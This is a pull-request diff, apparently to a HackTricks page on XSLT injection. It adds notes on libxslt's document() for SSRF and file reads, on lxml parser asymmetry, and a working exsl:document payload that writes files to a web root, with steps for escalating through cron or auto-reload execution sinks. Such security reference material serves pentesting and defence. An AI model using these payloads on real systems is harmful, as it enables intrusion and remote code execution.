Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -289,6 +289,26 @@ Upload this and take information
</xsl:template>
```

### **`document()` usually expects XML**

On **libxslt**, `document()` is useful for SSRF and for reading **other XML documents**, but trying to read arbitrary local text files such as `/etc/passwd` will often fail because the referenced resource is parsed as XML.

- `document('/path/to/file.xml')` may work if the target file is valid XML.
- `document('/etc/passwd')` commonly errors because the file is not XML.

This is useful when triaging a target: a failed `document('/etc/passwd')` does **not** necessarily mean the XSLT processor is hardened.

### Parser asymmetry: XML hardened, XSLT still dangerous

Some applications harden the **input XML** parser but not the **stylesheet** parser. With lxml, options such as `resolve_entities=False`, `no_network=True`, `dtd_validation=False`, and `load_dtd=False` can block classic XXE in the uploaded XML while the XSLT still gets parsed with default settings or extension features enabled.

That pattern usually means:

- XXE in the XML document may fail.
- XSLT-specific features such as `system-property()`, `document()`, extension functions, and EXSLT elements may still be reachable.

So if XXE payloads fail, fingerprint the processor first and then switch to processor-specific XSLT payloads instead of stopping at the XML parser result.

### **Internal (PHP-function)**

```xml
Expand Down Expand Up @@ -346,6 +366,32 @@ Upload this and take information
</xsl:template>
```

### **libxslt / EXSLT `exsl:document`**

If the target fingerprints as **libxslt** (`system-property('xsl:vendor')`) and the application lets you upload or store attacker-controlled XSLT, test **EXSLT secondary output**. `exsl:document` can write a new document to an arbitrary path writable by the XSLT process.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:template match="/">
<exsl:document href="/var/www/html/test.txt" method="text">
0xdf was here!
</exsl:document>
</xsl:template>
</xsl:stylesheet>
```

Practical workflow:

- First write a marker into a **web-served path** to confirm the primitive.
- Then write into an **execution sink** already present on the host, such as a cron-polled script directory, a parser auto-reload path, or another scheduled task input.

If you are generating shell payloads through XML, remember that this is **XML encoding**, not URL encoding. For example, use `&amp;` to generate a literal `&` inside the written file. Writing `%26` will usually persist `%26` literally and break shell redirections.

Other ways to write files in the PDF

## Include external XSL
Expand Down Expand Up @@ -428,5 +474,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
- [0xdf - HTB Conversor](https://0xdf.gitlab.io/2026/03/21/htb-conversor.html)
- [PayloadsAllTheThings - XSLT Injection](https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/)
- [EXSLT - exsl:document](https://exslt.github.io/exsl/elements/document/index.html)
- [lxml API - XMLParser](https://lxml.de/api/lxml.etree.XMLParser-class.html)

{{#include ../banners/hacktricks-training.md}}